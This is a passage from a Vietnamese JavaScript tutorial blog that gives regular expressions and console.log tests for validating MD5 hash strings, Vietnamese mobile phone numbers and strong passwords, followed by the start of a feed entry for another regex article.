href="#ki%E1%BB%83m-tra-string-l%C3%A0-md5" aria-label="kiểm tra string là md5 permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Kiểm tra string là MD5</h2> <p><strong>Regex:</strong></p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token regex"><span class="token regex-delimiter">/</span><span class="token regex-source language-regex">^[a-f0-9]{32}$</span><span class="token regex-delimiter">/</span></span><span class="token punctuation">;</span></code></pre></div> <p><strong>Test:</strong></p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">const</span> isMD5Format <span class="token operator">=</span> <span class="token regex"><span class="token regex-delimiter">/</span><span class="token regex-source language-regex">^[a-f0-9]{32}$</span><span class="token regex-delimiter">/</span></span><span class="token punctuation">;</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>isMD5Format<span class="token punctuation">.</span><span class="token function">test</span><span class="token punctuation">(</span><span class="token string">"00236a2ae558018ed13b5222ef1bd987"</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// true</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>isMD5Format<span class="token punctuation">.</span><span class="token function">test</span><span class="token punctuation">(</span><span class="token string">"00236a2ae558018ed13b5222ef1bd9878"</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// false</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>isMD5Format<span class="token punctuation">.</span><span class="token function">test</span><span class="token punctuation">(</span><span class="token string">"00236a2ae558018ed13b5222ef1bd98"</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// false</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>isMD5Format<span class="token punctuation">.</span><span class="token function">test</span><span class="token punctuation">(</span><span class="token string">"00236a2ae558018ed13b5222ef1bd9.8"</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// false</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>isMD5Format<span class="token punctuation">.</span><span class="token function">test</span><span class="token punctuation">(</span><span class="token string">"00236a2ae558018ed13b5222ef1bdxyz"</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// false</span></code></pre></div> <p>Tham khảo: <a href="https://stackoverflow.com/questions/21517102/regex-to-match-md5-hashes">Regex to match md5 hashes</a></p> <h2 id="kiểm-tra-string-là-số-điện-thoại-việt-nam" style="position:relative;"><a href="#ki%E1%BB%83m-tra-string-l%C3%A0-s%E1%BB%91-%C4%91i%E1%BB%87n-tho%E1%BA%A1i-vi%E1%BB%87t-nam" aria-label="kiểm tra string là số điện thoại việt nam permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Kiểm tra string là số điện thoại Việt Nam</h2> <p>Phần này mình kiểm tra một string nhập vào là số điện thoại di động 10 số ở Việt Nam (sau khi đã chuyển đổi từ 11 số về 10 số).</p> <p>Còn về phần test thì có khá nhiều trường hợp nên mình không thể viết hết trong bài này được. Do đó, khi sử dụng bạn cần kiểm thử lại độ chính xác với những test case của bạn nhé.</p> <p><strong>Regex:</strong></p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">const</span> isVNPhoneMobile <span class="token operator">=</span> <span class="token regex"><span class="token regex-delimiter">/</span><span class="token regex-source language-regex">^(0|\+84)(\s|\.)?((3[2-9])|(5[689])|(7[06-9])|(8[1-689])|(9[0-46-9]))(\d)(\s|\.)?(\d{3})(\s|\.)?(\d{3})$</span><span class="token regex-delimiter">/</span></span><span class="token punctuation">;</span></code></pre></div> <p><strong>Test:</strong></p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">const</span> isVNPhoneMobile <span class="token operator">=</span> <span class="token regex"><span class="token regex-delimiter">/</span><span class="token regex-source language-regex">^(0|\+84)(\s|\.)?((3[2-9])|(5[689])|(7[06-9])|(8[1-689])|(9[0-46-9]))(\d)(\s|\.)?(\d{3})(\s|\.)?(\d{3})$</span><span class="token regex-delimiter">/</span></span><span class="token punctuation">;</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>isVNPhoneMobile<span class="token punctuation">.</span><span class="token function">test</span><span class="token punctuation">(</span><span class="token string">"0866888999"</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// true - Viettel</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>isVNPhoneMobile<span class="token punctuation">.</span><span class="token function">test</span><span class="token punctuation">(</span><span class="token string">"0.866.888.999"</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// true</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>isVNPhoneMobile<span class="token punctuation">.</span><span class="token function">test</span><span class="token punctuation">(</span><span class="token string">"+84.866.888.999"</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// true</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>isVNPhoneMobile<span class="token punctuation">.</span><span class="token function">test</span><span class="token punctuation">(</span><span class="token string">"0 866 888 999"</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// true</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>isVNPhoneMobile<span class="token punctuation">.</span><span class="token function">test</span><span class="token punctuation">(</span><span class="token string">"0866 888 999"</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// true</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>isVNPhoneMobile<span class="token punctuation">.</span><span class="token function">test</span><span class="token punctuation">(</span><span class="token string">"+84 866 888 999"</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// true</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>isVNPhoneMobile<span class="token punctuation">.</span><span class="token function">test</span><span class="token punctuation">(</span><span class="token string">"0966 888 999"</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// true</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>isVNPhoneMobile<span class="token punctuation">.</span><span class="token function">test</span><span class="token punctuation">(</span><span class="token string">"0977 888 999"</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// true</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>isVNPhoneMobile<span class="token punctuation">.</span><span class="token function">test</span><span class="token punctuation">(</span><span class="token string">"0988 888 999"</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// true</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>isVNPhoneMobile<span class="token punctuation">.</span><span class="token function">test</span><span class="token punctuation">(</span><span class="token string">"0322 888 999"</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// true</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>isVNPhoneMobile<span class="token punctuation">.</span><span class="token function">test</span><span class="token punctuation">(</span><span class="token string">"0333 888 999"</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// true</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>isVNPhoneMobile<span class="token punctuation">.</span><span class="token function">test</span><span class="token punctuation">(</span><span class="token string">"0344 888 999"</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// true</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>isVNPhoneMobile<span class="token punctuation">.</span><span class="token function">test</span><span class="token punctuation">(</span><span class="token string">"0355 888 999"</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// true</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>isVNPhoneMobile<span class="token punctuation">.</span><span class="token function">test</span><span class="token punctuation">(</span><span class="token string">"0366 888 999"</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// true</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>isVNPhoneMobile<span class="token punctuation">.</span><span class="token function">test</span><span class="token punctuation">(</span><span class="token string">"0377 888 999"</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// true</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>isVNPhoneMobile<span class="token punctuation">.</span><span class="token function">test</span><span class="token punctuation">(</span><span class="token string">"0388 888 999"</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// true</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>isVNPhoneMobile<span class="token punctuation">.</span><span class="token function">test</span><span class="token punctuation">(</span><span class="token string">"0399 888 999"</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// true</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>isVNPhoneMobile<span class="token punctuation">.</span><span class="token function">test</span><span class="token punctuation">(</span><span class="token string">"0899 888 999"</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// true - Mobifone</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>isVNPhoneMobile<span class="token punctuation">.</span><span class="token function">test</span><span class="token punctuation">(</span><span class="token string">"0900 888 999"</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// true</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>isVNPhoneMobile<span class="token punctuation">.</span><span class="token function">test</span><span class="token punctuation">(</span><span class="token string">"0933 888 999"</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// true</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>isVNPhoneMobile<span class="token punctuation">.</span><span class="token function">test</span><span class="token punctuation">(</span><span class="token string">"0700 888 999"</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// true</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>isVNPhoneMobile<span class="token punctuation">.</span><span class="token function">test</span><span class="token punctuation">(</span><span class="token string">"0799 888 999"</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// true</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>isVNPhoneMobile<span class="token punctuation">.</span><span class="token function">test</span><span class="token punctuation">(</span><span class="token string">"0777 888 999"</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// true</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>isVNPhoneMobile<span class="token punctuation">.</span><span class="token function">test</span><span class="token punctuation">(</span><span class="token string">"0766 888 999"</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// true</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>isVNPhoneMobile<span class="token punctuation">.</span><span class="token function">test</span><span class="token punctuation">(</span><span class="token string">"0788 888 999"</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// true</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>isVNPhoneMobile<span class="token punctuation">.</span><span class="token function">test</span><span class="token punctuation">(</span><span class="token string">"0888 888 999"</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// true - Vinaphone</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>isVNPhoneMobile<span class="token punctuation">.</span><span class="token function">test</span><span class="token punctuation">(</span><span class="token string">"0911 888 999"</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// true</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>isVNPhoneMobile<span class="token punctuation">.</span><span class="token function">test</span><span class="token punctuation">(</span><span class="token string">"0944 888 999"</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// true</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>isVNPhoneMobile<span class="token punctuation">.</span><span class="token function">test</span><span class="token punctuation">(</span><span class="token string">"0833 888 999"</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// true</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>isVNPhoneMobile<span class="token punctuation">.</span><span class="token function">test</span><span class="token punctuation">(</span><span class="token string">"0844 888 999"</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// true</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>isVNPhoneMobile<span class="token punctuation">.</span><span class="token function">test</span><span class="token punctuation">(</span><span class="token string">"0855 888 999"</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// true</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>isVNPhoneMobile<span class="token punctuation">.</span><span class="token function">test</span><span class="token punctuation">(</span><span class="token string">"0811 888 999"</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// true</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>isVNPhoneMobile<span class="token punctuation">.</span><span class="token function">test</span><span class="token punctuation">(</span><span class="token string">"0822 888 999"</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// true</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>isVNPhoneMobile<span class="token punctuation">.</span><span class="token function">test</span><span class="token punctuation">(</span><span class="token string">"0922 888 999"</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// true - Vietnamobile</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>isVNPhoneMobile<span class="token punctuation">.</span><span class="token function">test</span><span class="token punctuation">(</span><span class="token string">"0566 888 999"</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// true</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>isVNPhoneMobile<span class="token punctuation">.</span><span class="token function">test</span><span class="token punctuation">(</span><span class="token string">"0588 888 999"</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// true</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>isVNPhoneMobile<span class="token punctuation">.</span><span class="token function">test</span><span class="token punctuation">(</span><span class="token string">"0999 888 999"</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// true - GMobile</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>isVNPhoneMobile<span class="token punctuation">.</span><span class="token function">test</span><span class="token punctuation">(</span><span class="token string">"0599 888 999"</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// true</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>isVNPhoneMobile<span class="token punctuation">.</span><span class="token function">test</span><span class="token punctuation">(</span><span class="token string">"1234 567 890"</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// false</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>isVNPhoneMobile<span class="token punctuation">.</span><span class="token function">test</span><span class="token punctuation">(</span><span class="token string">"0311 888 999"</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// false</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>isVNPhoneMobile<span class="token punctuation">.</span><span class="token function">test</span><span class="token punctuation">(</span><span class="token string">"0511 888 999"</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// false</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>isVNPhoneMobile<span class="token punctuation">.</span><span class="token function">test</span><span class="token punctuation">(</span><span class="token string">"0522 888 999"</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// false</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>isVNPhoneMobile<span class="token punctuation">.</span><span class="token function">test</span><span class="token punctuation">(</span><span class="token string">"0533 888 999"</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// false</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>isVNPhoneMobile<span class="token punctuation">.</span><span class="token function">test</span><span class="token punctuation">(</span><span class="token string">"0544 888 999"</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// false</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>isVNPhoneMobile<span class="token punctuation">.</span><span class="token function">test</span><span class="token punctuation">(</span><span class="token string">"0555 888 999"</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// false</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>isVNPhoneMobile<span class="token punctuation">.</span><span class="token function">test</span><span class="token punctuation">(</span><span class="token string">"0711 888 999"</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// false</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>isVNPhoneMobile<span class="token punctuation">.</span><span class="token function">test</span><span class="token punctuation">(</span><span class="token string">"0722 888 999"</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// false</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>isVNPhoneMobile<span class="token punctuation">.</span><span class="token function">test</span><span class="token punctuation">(</span><span class="token string">"0733 888 999"</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// false</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>isVNPhoneMobile<span class="token punctuation">.</span><span class="token function">test</span><span class="token punctuation">(</span><span class="token string">"0744 888 999"</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// false</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>isVNPhoneMobile<span class="token punctuation">.</span><span class="token function">test</span><span class="token punctuation">(</span><span class="token string">"0755 888 999"</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// false</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>isVNPhoneMobile<span class="token punctuation">.</span><span class="token function">test</span><span class="token punctuation">(</span><span class="token string">"0800 888 999"</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// false</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>isVNPhoneMobile<span class="token punctuation">.</span><span class="token function">test</span><span class="token punctuation">(</span><span class="token string">"0877 888 999"</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// false</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>isVNPhoneMobile<span class="token punctuation">.</span><span class="token function">test</span><span class="token punctuation">(</span><span class="token string">"0955 888 999"</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// false</span></code></pre></div> <h2 id="kiểm-tra-string-là-mật-khẩu-mạnh" style="position:relative;"><a href="#ki%E1%BB%83m-tra-string-l%C3%A0-m%E1%BA%ADt-kh%E1%BA%A9u-m%E1%BA%A1nh" aria-label="kiểm tra string là mật khẩu mạnh permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Kiểm tra string là mật khẩu mạnh</h2> <p>Theo bạn, thế nào là một mật khẩu mạnh? Ở đây, mình định nghĩa một mật khẩu mạnh là cái thỏa mãn những điều kiện sau đây:</p> <ul> <li>Có tối thiểu 8 ký tự</li> <li>Có ít nhất một kí tự viết thường (a-z)</li> <li>Có ít nhất một kí tự viết hoa (A-Z)</li> <li>Có ít nhất một chữ số (0-9)</li> <li>Có ít nhất một ký tự đặc biệt (<em>!@#$%^&#x26;</em>)</li> </ul> <p><strong>Regex:</strong></p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">const</span> isStrongPassword <span class="token operator">=</span> <span class="token regex"><span class="token regex-delimiter">/</span><span class="token regex-source language-regex">^(?=.*[a-z])(?=.*[A-Z])(?=.*[0-9])(?=.*[!@#\$%\^&amp;\*]).{8,}$</span><span class="token regex-delimiter">/</span></span><span class="token punctuation">;</span></code></pre></div> <p><strong>Test:</strong></p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">const</span> isStrongPassword <span class="token operator">=</span> <span class="token regex"><span class="token regex-delimiter">/</span><span class="token regex-source language-regex">^(?=.*[a-z])(?=.*[A-Z])(?=.*[0-9])(?=.*[!@#\$%\^&amp;\*]).{8,}$</span><span class="token regex-delimiter">/</span></span><span class="token punctuation">;</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>isStrongPassword<span class="token punctuation">.</span><span class="token function">test</span><span class="token punctuation">(</span><span class="token string">"Abcd!234"</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// true</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>isStrongPassword<span class="token punctuation">.</span><span class="token function">test</span><span class="token punctuation">(</span><span class="token string">"aBcd1@345"</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// true</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>isStrongPassword<span class="token punctuation">.</span><span class="token function">test</span><span class="token punctuation">(</span><span class="token string">"abCd12$4"</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// true</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>isStrongPassword<span class="token punctuation">.</span><span class="token function">test</span><span class="token punctuation">(</span><span class="token string">"AbcD1234%"</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// true</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>isStrongPassword<span class="token punctuation">.</span><span class="token function">test</span><span class="token punctuation">(</span><span class="token string">"@bcCd!234^"</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// true</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>isStrongPassword<span class="token punctuation">.</span><span class="token function">test</span><span class="token punctuation">(</span><span class="token string">"@B&amp;d!234&amp;*7890"</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// true</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>isStrongPassword<span class="token punctuation">.</span><span class="token function">test</span><span class="token punctuation">(</span><span class="token string">"12345678"</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// false</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>isStrongPassword<span class="token punctuation">.</span><span class="token function">test</span><span class="token punctuation">(</span><span class="token string">"!2345678"</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// false</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>isStrongPassword<span class="token punctuation">.</span><span class="token function">test</span><span class="token punctuation">(</span><span class="token string">"abcdefgh"</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// false</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>isStrongPassword<span class="token punctuation">.</span><span class="token function">test</span><span class="token punctuation">(</span><span class="token string">"AcD1%"</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// false</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>isStrongPassword<span class="token punctuation">.</span><span class="token function">test</span><span class="token punctuation">(</span><span class="token string">"ABCDEFGH"</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// false</span></code></pre></div> <h2 id="lời-kết" style="position:relative;"><a href="#l%E1%BB%9Di-k%E1%BA%BFt" aria-label="lời kết permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Lời kết</h2> <p>Trên đây là những biểu thức chính quy RegExp hay, hữu ích mà mình đã sưu tầm được. Tuy nhiên, Regular Expression là một chủ đề khá phức tạp. Vì vậy, rất khó để có được những biểu thức chính quy RegExp chính xác một cách tuyệt đối.</p> <p>Khi áp dụng vào project thực tế, bạn vẫn nên kiểm tra lại. Hoặc bạn kết hợp với các phương pháp khác để có được giải pháp chính xác nhất. Thay vì việc cứ copy-paste một solution nào đó trên mạng (kể cả của mình).</p> <p>Cuối cùng, nếu có phần nào khó hiểu hoặc có bài toán nào bạn chưa giải quyết được, thì bạn cứ thoải mái chia sẻ với mình trong phần bình luận phía dưới nhé!</p> <p>Xin chào và hẹn gặp lại, thân ái!</p>[email protected]<![CDATA[Tìm hiểu Regular Expression JavaScript]]><![CDATA[Regular expression hay còn được gọi tắt là Regex hay RegExp, là một cách để biểu diễn khuôn mẫu của string. Regex là một phần quan trọng của ngôn ngữ lập trình JavaScript, cũng như…]]>https://completejavascript.com/tim-hieu-regular-expression-javascript/https://completejavascript.com/tim-hieu-regular-expression-javascript/<![CDATA[RegExp]]>Sat, 29 Jul 2017 04:06:50 GMT<p>Regular expression hay còn được gọi tắt là Regex hay RegExp, là một cách để biểu diễn khuôn mẫu của string. Regex là một phần quan trọng của ngôn ngữ lập trình JavaScript, 